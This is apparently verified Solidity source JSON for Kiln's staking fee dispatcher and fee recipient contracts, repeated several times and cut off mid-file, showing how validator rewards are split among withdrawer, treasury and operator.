}\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address 